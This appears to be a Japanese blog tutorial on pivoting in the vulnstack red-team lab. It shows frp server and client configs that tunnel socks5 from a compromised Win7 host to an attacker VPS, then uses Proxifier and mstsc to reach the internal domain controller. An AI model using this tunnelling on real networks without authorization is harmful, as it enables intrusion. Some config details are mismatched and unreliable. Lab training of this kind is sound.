イントロダクションと環境#
frp
は高性能なリバースプロキシアプリケーションであり、ターゲットのポートを公開し、TCP、HTTP、HTTPS などのプロトコルタイプをサポートしています。また、web
サービスはドメインに基づいてルーティング転送をサポートしており、これによりレッドチームの操作中にインターネットを介して内部ネットワークにアクセスできます。
frp
は安定して動作するリバースプロキシツールですが、設定ファイルに依存しており、トレースバックが容易です。
この記事は、「ATT&CK 実践 - 紅日セキュリティ vulnstack (1)」の記事で使用された環境を基にしています。
ネットワーク構成の図は以下のようになります:
-
既知の Win7 が境界機として使用され、シェルが取得されています。
-
ドメインコントローラホストはリモートアクセスを許可しています。
ここでは、cs
を事前にオンラインにしていますが、cs
は直接socks
トンネルを一括で開始することもできますが、この記事の範囲外です。
cs
を使用してターゲットホストwin7
のip
を確認します。2 つの内部ネットワークセグメントがあります。
FRP プロキシで内部ネットワークにアクセスする#
まず、プロキシフローを明確にする必要があります。
- 攻撃者のノートブックプログラムがプロキシを使用してドメイン環境内のネットワークにアクセスできる必要があります。
まず、GitHubから対応するバージョンのFRP
プロキシプログラムをダウンロードします。
開くと、FRP
には各オペレーティングシステムに対応したバージョンのプログラムが用意されています:
ここでは、windows64
バージョンを例に説明します。次のファイルが含まれています:
- systemd
- frpc.exe
- frpc.ini
- frpc_full.ini
- frps.exe
- frps.ini
- frps_full.ini
- LICENSE
同じオペレーティングシステムでは、公式にはserver
側とclient
側が提供されています。
攻撃者のマシン、つまり公開されたip
を持つvps
でまずfrps.ini
を設定します。
デフォルトの設定ファイルは次のようになっています:
[common]
server_addr = 127.0.0.1
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
ここでは、最も基本的な設定を紹介します:
[common]
bind_port = 7000
token = 145678
実際には最初の 2 行だけで十分ですが、token
を追加することをお勧めします。そして、サーバーを起動します:
frps -c frpc.ini
この時点で、ターゲットマシンはvps
に接続するための設定が必要です。また、内部ネットワーク環境にアクセスするためにsocks5
トンネルも設定する必要があります。最も簡単な設定は次のようになります:
[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678
[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd
クライアント側のfrp
を起動します:
この時点で、vps
は接続を受け取ります:
これで、ノートブックの攻撃者マシンでsocks5:VPS-IP:6666
を使用して境界領域にアクセスできるようになります。
frp を終了するには、ps -aux|grep frp コマンドを使用して frp プロセス情報をリストし、kill コマンドで frp プロセスを終了します。
ローカルアクセスにはProxifier
を使用し、必要なツールをそのプロキシ経由で設定します。
Proxifier を使用したプロキシ#
次のようにサーバーを追加します:
リモートデスクトップツールmstsc.exe
をルールに追加します:
この時点で、ローカルでリモートツールmstsc
を使用して内部ネットワークのドメインコントローラホスト192.168.52.138
に直接接続できます:
ターゲットホストの内部ネットワークのドメインコントローラのリモートデスクトップに正常にアクセスできるようになりました。
接続時に、proxifier
がプロキシを介して接続を開始したことを示すログが表示されます。
内部ネットワークをスキャンするために他のツールを使用する場合も同様で、proxifier
で使用するプログラムを設定するだけです。
frp の最適化#
アップデートをお楽しみに
参考記事: